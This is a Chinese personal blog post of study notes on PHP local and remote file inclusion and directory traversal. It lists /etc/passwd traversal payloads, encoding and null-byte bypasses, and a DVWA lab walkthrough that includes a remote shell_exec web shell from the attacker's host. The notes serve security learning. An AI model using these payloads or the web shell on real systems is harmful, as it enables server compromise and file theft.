文件包含笔记

Created at 2018-07-31 Updated at 2018-07-31 Tag web

目录遍历 文件包含
目录遍历的原因在于目录的权限限制不严格
文件包含服务器通过php的函数去包含任意文件,但过滤不严,例如
include()require()include_once()require_once()

本地文件包含LFI和远程文件包含RFI

修改配置php.ini配置文件
sudo vi /etc/php5/cgi/php.ini

修改allow_url_fopen=onallow_url_include=on允许包含其他文件

重启apache服务

sudo /etx/init.d/apache2 restart

可能存在漏洞的特征例如:?page=a.php?home=b.html?file=content

经典测试方法:(/etc/passwd是都能查看的文件)
其中① ~ ③为本地文件包含

?file=../../../../etc/passwd

可以超多个../因为一个../返回上级目录,超多个../就可以返回到根目录时就不能再返回了,因此可以多个../

也可以使用?file=/etc/passwd表示根目录下的etc文件下的passwd,文件包含的include()有了绝对路径就能直接找到,但是目录遍历不能这样,需要用../

?page=file:///etc/passwd

file://后面需要的是绝对路径,因此,file://../../../../../../etc/passwd会报错

?home=main.cgi

main.cgi一段源码内容或者配置信息等

?page=http://www.a.com/1.php

例如:?page=http://www.sina.com可以把新浪的页面显示出来
这里可以改成自己的一个shell反弹的一个页面

http://1.1.1.1/../../../../dir/file.txt

编码绕过字符过滤(找不到包含的文件)

有可能自动在包含的文件后面加上一个.php,可能会报错,页面不能显示

Php5.3以前的版本可以用“.” ,“%00”来绕过文件扩展名过滤

例如:?file=a.doc%00.php会被截断成a.doc

可以用多种编码尝试(128以下的ASCII码都不会被过滤)

不同操作系统的路径特征字符

类Unix系统

根目录:/

目录层级分隔符:/

Windows系统

根目录有可能为C:\D:\或其他

\或/

编码

url编码:

../:%2e%2e%2f(Linux)

..\:%2e%2e%5c(windows)

双重url编码:(可能不能被解析)

../的双重编码:%25%32%65%25%32%65%25%32%66

..\的双重编码:%25%32%65%25%32%65%25%35%63

Unicode/UTF-8编码:

../:..%c0%af

..\:..%c1%9c

其他系统路径可能使用到的字符

①在文件名后面加上…

file.txt…

②在文件名后面加上多个空格

file.txt(后面有多个空格)

③文件名后加上若干个双引号

file.txt””””

④文件名后加上若干个<和>

file.txt<<<<>>>><

⑤文件名前面加上若干个./(.表示当前目录)

./././././file.txt

⑥在前面加一个不存在的目录,再加一个../再加文件名

nonexistent/../file.txt

先在不存在的一个目录下,再返回当前的目录,最后还是能读取file.txt

远程文件包含(DVWA下medium等级)

medium等级的源码:

1
2
3
4
5
6
7
8
9
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
//会将http://和https://替换成空
//绕过:①尝试用编码,但是不行唉,可能还是被解码识别了
//②用两个http://因为只会检测一次,可以采用ht http://tp://来绕过
?>

在本地的/var/www/html的目录下,创建一个内容为:
<?php echo shell_exec($_GET['cmd']);?>
的txt文件,并开启Apache服务:service apache2 start

输入:
http://192.168.1.106/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.1.107/1.txt&cmd=pwd

返回的是192.168.1.106的当前目录

Table of Content

Site by 9527 using Hexo & Random

Hide